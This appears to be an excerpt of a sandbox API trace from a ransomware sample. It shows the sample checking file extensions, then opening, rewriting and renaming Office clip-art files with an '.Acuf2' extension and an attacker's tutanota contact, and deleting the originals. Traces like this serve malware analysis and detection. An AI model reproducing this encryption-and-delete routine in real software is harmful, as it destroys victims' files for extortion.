	[0257.290] lstrlenW (lpString=".1cd") returned 4
	[0257.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63
	[0257.291] lstrlenW (lpString=".jpg") returned 4
	[0257.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63
	[0257.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63
	[0257.291] lstrlenW (lpString=".doc") returned 4
	[0257.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.291] lstrlenW (lpString=".docx") returned 5
	[0257.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.291] lstrlenW (lpString=".pdf") returned 4
	[0257.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.291] lstrlenW (lpString=".xls") returned 4
	[0257.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.291] lstrlenW (lpString=".xlsx") returned 5
	[0257.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.291] lstrlenW (lpString=".ppt") returned 4
	[0257.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63
	[0257.291] lstrlenW (lpString=".zip") returned 4
	[0257.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.292] lstrlenW (lpString=".rar") returned 4
	[0257.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.292] lstrlenW (lpString=".bz2") returned 4
	[0257.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.292] lstrlenW (lpString=".7z") returned 3
	[0257.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63
	[0257.292] lstrlenW (lpString=".dbf") returned 4
	[0257.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63
	[0257.292] lstrlenW (lpString=".1cd") returned 4
	[0257.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63
	[0257.292] lstrlenW (lpString=".jpg") returned 4
	[0257.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.292] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.292] lstrlenW (lpString="BL00267_.WMF") returned 12
	[0257.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0257.293] GetFileSizeEx (in: hFile=0x270, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=2644) returned 1
	[0257.293] CloseHandle (hObject=0x270) returned 1
	[0257.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x20
	[0257.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0257.293] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.293] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0257.293] GetLastError () returned 0x0
	[0257.293] ReadFile (in: hFile=0x270, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xa54, lpOverlapped=0x0) returned 1
	[0257.305] WriteFile (in: hFile=0x274, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xa60, lpOverlapped=0x0) returned 1
	[0257.305] ReadFile (in: hFile=0x270, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.306] WriteFile (in: hFile=0x274, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.306] SetEndOfFile (hFile=0x274) returned 1
	[0257.306] CloseHandle (hObject=0x274) returned 1
	[0257.306] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.306] SetEndOfFile (hFile=0x270) returned 1
	[0257.308] CloseHandle (hObject=0x270) returned 1
	[0257.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 1
	[0257.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63
	[0257.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63
	[0257.584] lstrlenW (lpString=".doc") returned 4
	[0257.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.584] lstrlenW (lpString=".docx") returned 5
	[0257.584] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.584] lstrlenW (lpString=".pdf") returned 4
	[0257.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.584] lstrlenW (lpString=".xls") returned 4
	[0257.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.584] lstrlenW (lpString=".xlsx") returned 5
	[0257.584] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.584] lstrlenW (lpString=".ppt") returned 4
	[0257.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63
	[0257.584] lstrlenW (lpString=".zip") returned 4
	[0257.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.585] lstrlenW (lpString=".rar") returned 4
	[0257.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.585] lstrlenW (lpString=".bz2") returned 4
	[0257.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.585] lstrlenW (lpString=".7z") returned 3
	[0257.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63
	[0257.585] lstrlenW (lpString=".dbf") returned 4
	[0257.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63
	[0257.585] lstrlenW (lpString=".1cd") returned 4
	[0257.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63
	[0257.585] lstrlenW (lpString=".jpg") returned 4
	[0257.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63
	[0257.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63
	[0257.585] lstrlenW (lpString=".doc") returned 4
	[0257.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.585] lstrlenW (lpString=".docx") returned 5
	[0257.585] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.585] lstrlenW (lpString=".pdf") returned 4
	[0257.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.585] lstrlenW (lpString=".xls") returned 4
	[0257.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.585] lstrlenW (lpString=".xlsx") returned 5
	[0257.585] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.585] lstrlenW (lpString=".ppt") returned 4
	[0257.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63
	[0257.586] lstrlenW (lpString=".zip") returned 4
	[0257.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.586] lstrlenW (lpString=".rar") returned 4
	[0257.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.586] lstrlenW (lpString=".bz2") returned 4
	[0257.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.586] lstrlenW (lpString=".7z") returned 3
	[0257.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63
	[0257.586] lstrlenW (lpString=".dbf") returned 4
	[0257.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63
	[0257.586] lstrlenW (lpString=".1cd") returned 4
	[0257.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63
	[0257.586] lstrlenW (lpString=".jpg") returned 4
	[0257.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.586] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.586] lstrlenW (lpString="BL00270_.WMF") returned 12
	[0257.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0257.633] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=3016) returned 1
	[0257.633] CloseHandle (hObject=0x218) returned 1
	[0257.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x20
	[0257.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0257.644] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.644] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0257.645] GetLastError () returned 0x0
	[0257.645] ReadFile (in: hFile=0x29c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xbc8, lpOverlapped=0x0) returned 1
	[0257.648] WriteFile (in: hFile=0x28c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xbd0, lpOverlapped=0x0) returned 1
	[0257.648] ReadFile (in: hFile=0x29c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.648] WriteFile (in: hFile=0x28c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.649] SetEndOfFile (hFile=0x28c) returned 1
	[0257.649] CloseHandle (hObject=0x28c) returned 1
	[0257.649] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.649] SetEndOfFile (hFile=0x29c) returned 1
	[0257.651] CloseHandle (hObject=0x29c) returned 1
	[0257.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 1
	[0257.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63
	[0257.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63
	[0257.651] lstrlenW (lpString=".doc") returned 4
	[0257.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.651] lstrlenW (lpString=".docx") returned 5
	[0257.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.651] lstrlenW (lpString=".pdf") returned 4
	[0257.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.651] lstrlenW (lpString=".xls") returned 4
	[0257.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.651] lstrlenW (lpString=".xlsx") returned 5
	[0257.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.651] lstrlenW (lpString=".ppt") returned 4
	[0257.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63
	[0257.652] lstrlenW (lpString=".zip") returned 4
	[0257.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.652] lstrlenW (lpString=".rar") returned 4
	[0257.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.652] lstrlenW (lpString=".bz2") returned 4
	[0257.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.652] lstrlenW (lpString=".7z") returned 3
	[0257.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63
	[0257.652] lstrlenW (lpString=".dbf") returned 4
	[0257.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63
	[0257.652] lstrlenW (lpString=".1cd") returned 4
	[0257.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63
	[0257.652] lstrlenW (lpString=".jpg") returned 4
	[0257.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63
	[0257.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63
	[0257.652] lstrlenW (lpString=".doc") returned 4
	[0257.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.652] lstrlenW (lpString=".docx") returned 5
	[0257.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.653] lstrlenW (lpString=".pdf") returned 4
	[0257.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.653] lstrlenW (lpString=".xls") returned 4
	[0257.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.653] lstrlenW (lpString=".xlsx") returned 5
	[0257.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.653] lstrlenW (lpString=".ppt") returned 4
	[0257.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63
	[0257.653] lstrlenW (lpString=".zip") returned 4
	[0257.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.653] lstrlenW (lpString=".rar") returned 4
	[0257.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.653] lstrlenW (lpString=".bz2") returned 4
	[0257.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.653] lstrlenW (lpString=".7z") returned 3
	[0257.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63
	[0257.653] lstrlenW (lpString=".dbf") returned 4
	[0257.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63
	[0257.653] lstrlenW (lpString=".1cd") returned 4
	[0257.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63
	[0257.653] lstrlenW (lpString=".jpg") returned 4
	[0257.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.653] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.654] lstrlenW (lpString="BL00296_.WMF") returned 12
	[0257.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0257.654] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=812) returned 1
	[0257.654] CloseHandle (hObject=0x29c) returned 1
	[0257.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x20
	[0257.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0257.654] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.654] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0257.655] GetLastError () returned 0x0
	[0257.655] ReadFile (in: hFile=0x29c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x32c, lpOverlapped=0x0) returned 1
	[0257.660] WriteFile (in: hFile=0x28c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x330, lpOverlapped=0x0) returned 1
	[0257.661] ReadFile (in: hFile=0x29c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.661] WriteFile (in: hFile=0x28c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.661] SetEndOfFile (hFile=0x28c) returned 1
	[0257.661] CloseHandle (hObject=0x28c) returned 1
	[0257.661] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.661] SetEndOfFile (hFile=0x29c) returned 1
	[0257.663] CloseHandle (hObject=0x29c) returned 1
	[0257.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 1
	[0257.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63
	[0257.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63
	[0257.664] lstrlenW (lpString=".doc") returned 4
	[0257.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.664] lstrlenW (lpString=".docx") returned 5
	[0257.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.664] lstrlenW (lpString=".pdf") returned 4
	[0257.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.664] lstrlenW (lpString=".xls") returned 4
	[0257.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.664] lstrlenW (lpString=".xlsx") returned 5
	[0257.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.664] lstrlenW (lpString=".ppt") returned 4
	[0257.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63
	[0257.664] lstrlenW (lpString=".zip") returned 4
	[0257.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.664] lstrlenW (lpString=".rar") returned 4
	[0257.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.664] lstrlenW (lpString=".bz2") returned 4
	[0257.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.664] lstrlenW (lpString=".7z") returned 3
	[0257.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63
	[0257.664] lstrlenW (lpString=".dbf") returned 4
	[0257.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63
	[0257.665] lstrlenW (lpString=".1cd") returned 4
	[0257.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63
